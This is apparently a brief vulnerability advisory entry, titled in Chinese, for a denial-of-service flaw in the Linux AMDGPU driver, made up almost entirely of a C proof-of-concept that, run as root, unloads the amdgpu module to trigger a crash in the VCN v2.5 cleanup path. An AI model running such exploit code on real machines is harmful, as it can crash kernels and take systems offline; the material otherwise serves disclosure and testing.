CVE-2026-43298 Linux内核AMDGPU驱动拒绝服务漏洞

/* * PoC for CVE-2026-43298 * Trigger: Unloading the amdgpu driver on a VF where VCN poison IRQ was not enabled. * This causes a kernel warning/crash in amdgpu_irq_put. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { // The vulnerability is triggered during driver deinitialization (rmmod). // On a system using AMDGPU VF with VCN v2.5: printf("Attempting to trigger CVE-2026-43298 by unloading amdgpu module...\n"); // Requires root privileges to unload the kernel module if (getuid() != 0) { printf("This PoC requires root privileges to unload kernel modules.\n"); return 1; } // Execute rmmod to trigger the cleanup path vcn_v2_5_hw_fini -> amdgpu_irq_put system("rmmod amdgpu"); return 0; }